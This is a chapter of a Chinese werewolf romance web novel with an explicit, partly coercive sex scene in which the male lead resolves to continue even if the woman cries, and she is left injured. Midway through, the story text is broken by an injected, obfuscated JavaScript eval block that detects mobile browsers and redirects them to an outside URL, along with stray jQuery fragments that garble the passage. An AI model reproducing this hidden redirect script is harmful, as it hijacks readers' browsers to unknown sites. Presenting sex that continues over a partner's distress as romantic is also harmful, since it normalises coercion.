口中被滚烫塞满,气息尽数被夺,阮灵伸手去抓,触手硬实光滑,尼格变回了人形。
但是他眼中残存兽性,看到他的那一刻,阮灵便能感觉到,他不准备压抑。
因为在尼格看到她睁眼的刹那,他没有丝毫停顿,只是微微垂下眼,半阖着眼眸,隐去眼底深刻的欲望,继续加深他的侵入,唇舌裹挟着她的,粗粝的触感刮蹭的她唇周麻痛。
细腰上的大掌力道极重,虎口轻松卡住了大半,充满危险性与掌控力。
阮灵的心脏跳动的像一只被困的小鸟,拼命想要挣脱笼子,也许有缺氧的缘故,也许是尼格身上散发的一种混合着薄荷与皮革的气味,像是雨后的森林的味道,令她目眩神迷。
也许,是对于接下来要发生的事,有种既认命的顺从,却控制不住紧张的颤抖。
他们今夜都需要互相舔舐伤口。
灼热的嘬吮向下,她得以片刻喘息,露出被纠缠的殷红的唇。
“尼格...”
尼格埋下的头微微顿了顿,似乎在等着她说下去。
阮灵却只叫了他的名字,她好像要说些什么,脑子又像被泡了水的海绵塞满了,嗫嚅着说不出一句完整的话,只能喃喃唤他,身下变成了破涛汹涌的海浪,尼格是她抱着的唯一的浮木。
没有等到她的下文,尼格埋下头继续,唇舌下香嫩软滑,令他牙根发痒,喉咙深处火灼般干渴,一秒也不愿离开,他必须吞咽些什么。
已经没有什么可以阻挡他了,就算她哭,他也不会停下。
她骗他,伤他也罢,愤怒痛苦过后,是狠了心想彻底将她占有,她或许还不明白,狼人一旦认定了伴侣意味着什么,血契意味着什么。
已经深入骨血的牵绊,她怎么能说断就断?尼格惩罚般地发泄在唇齿上,裹住一处发狠,听见阮灵嘤咛才松口放过。
他对于即将到来的事只剩下浑身兴奋的颤抖。
月光透过木屋顶部的缝隙洒在尼格宽阔的背脊上,绒毯随意搭在收紧的腰身,半遮半掩。
微弱光线下,他背部的肌肉线条显得尤为突出,两侧臂膀拥着撑起,如两个坚实的丘,脊椎在背肌挤压下形成一道深邃的沟壑。
随着他的动作,紧实有力地收缩起伏。
突然,从他遮挡的严严实实的身下,慌乱逃出一只纤细白皙的小手,在绷紧的背肌上胡乱抓挠一通。
某一时刻,那嫩葱般的手指,似化为了小猫的利爪,毫不留情的狠狠抓挠下去,沿着那完美的背阔肌线条,留下了数道血痕。
阮灵哭了一声,细眉拧成一团,雪颈后仰拉长,纤薄的皮肤露出脆弱的青色脉络,发丝粘上细汗。
尼格微偏着头在她颈间印下一吻,又缓缓上移,含住她眼尾不停滑落的泪珠。
他同样浑身发紧,身上布满细密汗珠,硬的发疼。
他腾出手,将阮灵死死咬住的下唇解放,替换成自己的手指压在贝齿下。
另一只手,掐着她的膝弯,尼格垂下头看她,看她似痛苦的神色,眉梢透出一丝不忍。
阮灵呼吸都乱了,感受着他灼灼的目光,她回望过去,却什么也看不清,偶然一滴汗珠从他额上砸下,与她眼角的泪一起没入发间,她看清了,他的瞳孔深的望不见底,眼眶边缘向中间弥漫着红色,要将她焚烧殆尽的红。
他在她耳边哑声,终于开口说出了第一句话。
“小骗子。”
气息烫的阮灵耳廓毛孔炸开,痒意从耳尖窜至脚尖,脚趾都蜷缩起来。
阮灵咬着他的手指,说不出话来,不知道他是指哪一样骗了他,是信了她从一开始就骗了他,还是不信她骗了他。
但是他根本没给她思考的时间,他话落后,突然将手指抽走,滚烫的唇落下,舌抵了进去。
同时,劲腰下沉,随之没.入。
他封缄住她的口,吞下她的泣声,两人纠缠的口中血腥蔓延,他与她一起痛。
阮灵整晚都梦到在海浪上沉浮,急浪滔天,每一次波峰都强烈而不可抗拒,将她高高举起,又重重地摔下。
海水裹着她,将她决然吞没,她在梦中挣扎,但是沉溺其中,越陷越深,无休无止的拍打与颠簸,浑身都被拆散了般。
她哭的嗓子都哑了,浑身淋漓,再无一丝力气,当她以为平息了,涛浪却再次强势地席卷而来,将她卷去另一重更高的浪潮。
她被推着,头顶触上了礁石,又被拉回,脱力软绵的身体被浪裹挟成任何形态,将她拽至深不见底的海底,她不知何时,陷入了无边无际的黑暗中。
-
当晨光透过缝隙钻进木屋内,地上散落着凌乱的衣物,空气中仿佛还氤氲着咸湿的气息。
尼格臂弯中沉睡着精疲力竭的人儿,娇小一个蜷缩在他的怀中,他姿势强势的从背后禁锢住她,绒毯下紧紧相贴。
他爱怜的在雪肩上落下一吻,嘴角溢出一丝餍足。
尼格就这么看着阮灵,不觉时间流逝,他耐心地等待着小伴侣醒来。
没等到她睁开眼睛,却感受到了她越来越高的体温。
他慌乱了,不停地试探她的体温,她昨晚也有一段持续的稍显温烫的体温,但那时是与他一起同样的升温,肌肤都染出红色,他潜意识知道那可能是自然反应,是动情所致。
但眼下,显然是不正常的,她被他弄病了,尼格眸光颤了颤。
伸手探入毯下,她细白的肌肤上布满他落下的印记,惨不忍睹。
摸到某处,他探指进去,阮灵猛地缩了下身体,昏睡中的面容都透出痛色,眉间细细拧着。
他将指尖送至眼下,上有淡淡的新鲜的血丝。
呼吸微窒,尼格额间狠狠一跳,他急迫地想要仔细查看,却在碰上她时,将她惊醒,她泛着红肿的眼皮沉沉耷着,并未睁开,但身体抗拒着他的触碰。
“痛,不要碰我…”
“…求你。”
声音嘶哑的不成样子,也仿佛是带着齿的刀,从尼格心尖上用力划过。
说什么也不让他靠近去看了,阮灵抽泣起来,看起来怕极。
“好好,我不碰你,我去找药,你病了…别哭。”尼格的声音并未好到哪儿去,红着一双干涩的眼,撑在阮灵上方哑声安抚,指节轻轻拭去她的泪痕。
他用绒毯将人裹好,胡乱套了衣服便出去。
尼格将莎利叫来看顾阮灵,其他几人看到他时,眼中均滑过惊异,实在是因他看着太过匆忙狼狈。
树屋中没有药材,而部落已成废墟,他需要去寻草药熬煮。
莎利独自进了树屋中,她马上便嗅到了那股浓郁的气味,属于尼格的,强势地钻入她的鼻中,一时,竟感觉有些骨酥发软。
她将目光落在榻上,绒毯细细遮盖的微弱的起伏。
露出的那张小脸唇色苍白,脸颊却病态地泛着嫣红。
她竟在昨日说出那样痛伤尼格的话后,还得到他如此疼爱,只是…
“真不中用。”
莎利冷冷嗤到。
“你这样的,怎么满足得了他?”她站在榻边,晲眼说着。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14432509|149813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
没指望她回答,莎利又抬起眼看了看树屋中陈设,牙关微碾。
她本以为罗甘够疼她了,可相较起尼格对阮灵,她没办法不觉得心中失衡,酸涩上涌。
她想到什么,缓缓在榻边坐下了,轻轻将绒毯一角夹在指中掀起。
的确是副好皮囊。
全是暧昧的痕迹,可想而知尼格有多迷恋。
智人的寿命远远不及狼人,待她色衰,还能将尼格迷住吗?
“你做什么?”
莎利手一抖,绒毯落下,她竟一时没有发现阮灵睁开了眼。
“尼格让我……”莎利绷着声线说,未及她话完,突被阮灵打断。
“你让开。”阮灵皱眉。
莎利顿时冷了神色,“你…”
阮灵面容都皱了起来,强撑着侧过身子,“我想吐…”
话音未完全落地,莎利没反应过来就被阮灵歪着头吐了一身。
她拖着脏污的裤脚弹开,惊愕地看着阮灵,难闻的气味很快飘上来,莎利眼中升起恼怒,却见阮灵散着发扑在榻边,看起来难受的紧。
她皱着眉,刚想上前去看看,身后一阵疾风掠过,尼格回来了。
“尼格,她突然吐了。”
他将人捞进怀中,一眼未看她,他没有丝毫面对污秽的不适,只是焦急地抚着怀中人的背,为她擦拭着。
莎利至此闭口不言。
尼格回头目光寻着什么,眉间都是急色,她才干着嗓音道:“需要什么?我帮你。”
尼格浓眉蹙着,他出去的太急,水也忘烧了。
“烧水,我带回的草药另煮。”
莎利应声。
阮灵吐空了胃,那种烧心的感觉好了些,人却轻轻抖了起来,一下一下的,直把尼格逼的眼一寸寸猩红。
她神智并不完全清醒,现下又半昏着软绵绵任人摆布。
绒毯下她本也为着寸缕,尼格只将她身下榻上垫的脏了布替换。
难免再次看到她身上的痕迹,他怎么狠心将她弄成这个样子的?
待清理好,喂阮灵喝完药,她终于慢慢平缓了呼吸沉睡过去。
只是阮灵这一病,难免令救回族人的计划有所变动。
他将树屋门掩上,看向等在树下的罗甘等人。
“怎么样?”尼格低声问。
“我和戈莫隔着距离跟着,他们有一支接应的队伍,就是昨日后来放箭放毒的,他们依然将族长一家严加围守着,对方人数现在有二十五人。”
罗甘顿了顿,继续补充道:“他们的路线,好像是往洞穴的方向,不过,以他们的脚程,日夜不停,也没走太远,就算再一个日夜,我们追上,也要不了半日。”
尼格沉吟片刻,抬起长臂拍在罗甘肩头,道:“行,先休整,不必再跟。”
“你的伤,怎么样?”罗甘抬眸问。
“没事,差不多已经愈合了。”
“看来,他们手中的武器,对我们造成的伤害只是延缓愈合。”
尼格点头,“即时的伤害叠加,来不及愈合必然会限制我们的攻击与力量,还是小心些。”
罗甘微眯起眼,迟疑道:“我自会小心。昨天那样的情形…尼格,你有了弱点。”狼人会忠于自己的伴侣,且保护伴侣天经地义,但,其实他想说的是,尼格的弱点既毫无自保能力,还有可能是反插进尼格身体里的利刃。
尼格回视向罗甘的利眸冷光乍现,他毫不掩饰周身迸发的锐意:“我不想再听见这个词,更不要让她听到。”